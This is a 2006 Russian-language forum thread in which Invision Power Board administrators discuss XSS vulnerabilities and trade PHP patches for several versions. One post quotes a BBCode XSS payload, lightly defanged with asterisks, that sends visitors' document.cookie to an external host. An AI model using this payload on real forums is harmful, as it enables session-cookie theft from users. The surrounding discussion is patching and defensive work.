Уязвимости форумов Invision Power Board

Anna · 22 Июня 2006

Вот эту строчку посеяли:

$tmp = str_replace( '{option}' , $match[2][$i], $tmp );

Song · 23 Июня 2006

Добавь. Там приводится к целому виду параметр в котором может быть XSS видимо.

pikachu · 23 Июня 2006

Вообще бы хотелось в случае реальной "дырки" ответа дождаться от Администрация ibresource

Song · 24 Июня 2006

pikachu

Чтобы ответить на твой вопрос нужно знать, что за уязвимость закрывалась этим исправлением. Ну а мы (я точно) не знаем, поэтому не можем сказать, эффективно ли вообще это исправление, для каких версий оно нужно и нужно ли вообще.

Если ты поставишь заплатку на 2.0.х, она тебе ничем не навредит. Поэтому хочешь для пущей уверенности поставить - ставь. Я на своём форуме выложил для 2.1.x, 2.0.x, 1.x

потому как куски для замены есть во всех 3-х версиях.

Если вдруг найдёшь описание сплойта, подгони его сюда, тогда будет всё ясно.

IBresource же не волен самому себе публиковать то, что он считает нужным. Поэтому в официальном релизе уязвимости от IBresource появилось испоавление только для 2.1.х, потому как так оно было донесено до нас компанией IPS. Если IPS найдёт, что данная уязвимости и для прошлых версий опасна значит, видимо выложат исправления и для них (а может и забьют, т.к. последнаяя активная версия их группы 2.1, а значит видимо они предполагают, что все их клиенты на самой последней версии, а значит возможно думают, что для 2.0 не нужно уже беспокоиться).

punkz · 24 Июня 2006

вот и причина...

23 июня, 2006

Программа: Invision Power Board 2.1.6, возможно более ранние версии.

Опасность: Низкая

Описание:

Уязвимость позволяет удаленному пользователю произвести XSS нападение.

Уязвимость существует из-за недостаточной обработки входных данных, передаваемых в шестнадцатеричных эквивалентах HTML элементов. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.

Song · 25 Июня 2006

нужен сам сплойт.

xRay · 25 Июня 2006

Song

Ну это очевидно что фиксят они вот это (*-добавлены намерено т.е. они не нужны)

[po*st=1000[to*pic=target style=background:url(java script:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/to*pic]][/po*st]

Кстати вспомним нашу тему "Басни о куках" вот как раз ))

Anna

Моем имхо там два похожих куска раница только в наличии или отсутсвии опций у BB-тега. Т.е. нужно и там и там фиксить.

Кстати по поводу тегов TOPIC и POST давно уже было предложено удалить х вообще. Это былоп редложено на тот момент пока не вышел это патч )) По времени где-то полгода назад а может и еще раньше.

Есть еще фишки вроде не фиксеные вот:

http://www.security.nnov.ru/Ndocument113.html

http://www.security.nnov.ru/Mdocument324.html

http://www.security.nnov.ru/Mdocument504.html

Что на этот счет будем предпринимать? intva'ом давить переменые?

punkz · 25 Июня 2006

http://www.security.nnov.ru/Ndocument113.html

токо админы могут видеть да и закрыть admin.php через .htaccess не проще?

http://www.security.nnov.ru/Mdocument324.html

вроде уже пофиксили всё... было уже это на форуме...

http://www.security.nnov.ru/Mdocument324.html

а с этим не знаю...

cthulhu · 25 Июня 2006

http://www.security.nnov.ru/Ndocument113.html

по-моему, это вообще пассивная уязвимость?..

http://www.security.nnov.ru/Mdocument324.html

это уже заткнуто...

http://www.security.nnov.ru/Mdocument504.html

можно после

	if ( is_array( $id ) ) 
{

вставить

			$id = $std->clean_int_array($id);

это для 2.0.х, файл modfunction.php, функция post_delete...

для 2.1.х должно быть похоже...

Song · 25 Июня 2006

Ну это очевидно что фиксят они вот это (*-добавлены намерено т.е. они не нужны)

с чего вдруг? Закрывается-то амперсанд!

2cthulhu

это всё древности

xRay · 25 Июня 2006

это всё древности

Song

вот и я о том же

Alexakkopk · 28 Июня 2006

Родскажите я поставил бан пользователю на своем форуме но он все равно заходит и пишет что бесполезно что либо делать. Подскажите что делать.

Русская версия Invision Power Board v2.1.4

Arhar · 28 Июня 2006

поставить бан по ip в htaccess' е)))

Alexakkopk · 28 Июня 2006

поставить бан по ip в htaccess' е)))

Спасибо за совет я не давно его поставил может быть подскажите какие еще есть дырки.

Arhar · 28 Июня 2006

дырка называется прокси и спасения от неё нет

cthulhu · 29 Июня 2006

2cthulhu

это всё древности

охотно верю, но у меня почему-то не было заткнуто..

siemens · 30 Июня 2006

привет всем,один мудак ломанул форум, в сообщении написал

как исправить эту уязвимость?

-=MIF=- · 30 Июня 2006

http://forums.invisionpower.com/index.php?showtopic=220787

fixx · 30 Июня 2006

мне такое тоже прислали, версия 2,0,0. что это дает?

Anna · 1 Июля 2006

http://forums.invisionpower.com/index.php?showtopic=220787

подскажите пожалуйста, как эту дырку закрывать в 2.0.х - у меня нет похожих строк нигде

cthulhu · 1 Июля 2006

http://forums.invisionpower.com/index.php?showtopic=220787
подскажите пожалуйста, как эту дырку закрывать в 2.0.х - у меня нет похожих строк нигде

я у себя сделал так:

в sources\functions.php перед

} // end class

?>

добавил

	function xss_check_url( $url )
{
	$url = trim( urldecode( $url ) );

	if ( ! preg_match( "#^https?://(?:[^<>*\"]+|[a-z0-9/\._\- !]+)$#iU", $url ) )
	{
		return FALSE;
	}
	return TRUE;
}

в sources/lib/usercp_functions.php после

		if ( preg_match( "/^http:\/\/$/i", $ibforums->input['url_photo'] ) )
	{
		$ibforums->input['url_photo'] = "";
	}

добавил

		if ( $std->xss_check_url( $ibforums->input['url_photo'] ) !== TRUE )
	{
		$ibforums->input['url_photo'] = '';
	}

и после

		if ( preg_match( "#java script:#is", $ibforums->input['url_avatar'] ) )
	{
		$ibforums->input['url_avatar'] = "";
	}

добавил

		if ( $std->xss_check_url( $ibforums->input['url_avatar'] ) !== TRUE )
	{
		$ibforums->input['url_avatar'] = '';
	}

в sources/lib/post_parser.php

			if (preg_match( "/javascript(\:|\s)/i", $url ))

заменил на

			if ( preg_match( "/javascript\:/is", preg_replace( "#/\s{1,}#s", "", $url ) ) )

дальше исправлено:

	function regex_check_image($url="")
{
	global $ibforums;

заменить на

	function regex_check_image($url="")
{
	global $ibforums, $std;

и после

			if ( preg_match( "/javascript\:/is", preg_replace( "#/\s{1,}#s", "", $url ) ) )
		{
			$this->error = 'no_dynamic';
			return $default;
		}
	}

добавил

		//-----------------------------------------
	// Check...
	//-----------------------------------------

	if ( $std->xss_check_url( $url ) !== TRUE )
	{
		$this->error = 'no_dynamic';
		return $default;
	}

ну и последнее, в sources/moderate.php после

					if (empty($this->topic['tid']))
				{
					$std->Error( array( 'LEVEL' => 1, 'MSG' => 'missing_files') );
				}

добавил

					if ( $std->input['f'] AND ( $this->topic['forum_id'] != $std->input['f'] ) )
				{ 
					$std->Error( array( 'LEVEL' => 1, 'MSG' => 'missing_files') );
				}

хотя, у меня есть некоторые сомнения в осмысленности последнего действия...

-=MIF=- · 1 Июля 2006

http://forums.invisionpower.com/index.php?showtopic=220787
подскажите пожалуйста, как эту дырку закрывать в 2.0.х - у меня нет похожих строк нигде

Вроде офсайт клянется, что дыра только в 21х. Но Сонг у себя давно вроде для 10х и 20х предложил решение по заделыванию этой дырки. Погляди на его сайте - там всс расписано.

Изменено 3 Июля 2006 пользователем -=MIF=-

-=MIF=- · 1 Июля 2006

[/code]добавил

		//-----------------------------------------
	// Check...
	//-----------------------------------------

	if ( $std->xss_check_url( $url ) !== TRUE )
	{
		return '';
	}

после этого попробуй зайти в любое объявление раздела стандартное от админа или супермодера - вылезет ошибка

остальное просто ломает проверять...

cthulhu · 1 Июля 2006

после этого попробуй зайти в любое объявление раздела стандартное от админа или супермодера - вылезет ошибка

остальное просто ломает проверять...

зашел, ничего не вылезло...

или я зашел куда-то не туда?.. какие именно объявления имеются ввиду?..

хотя, судя по всему, действительно лучше вместо

return '';

написать

			$this->error = 'no_dynamic';
		return $default;

ну, тип ошибки можно другой подобрать... но, по-моему, к ошибке первый вариант приводить не должен, мне просто сейчас лень смотреть, что делается с вовзращаемым значением...

dfc_darkman · 1 Июля 2006

ребята

раздуплите

для 2.0.4 нужно что то фиксить?

Войти

Уязвимости форумов Invision Power Board

Рекомендуемые сообщения

Ссылка на комментарий

Поделиться на других сайтах

Лучшие авторы в этой теме

Дни популярности

Лучшие авторы в этой теме

Дни популярности

Загружено фотографий

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Ссылка на комментарий

Поделиться на других сайтах

Объявления

Важная информация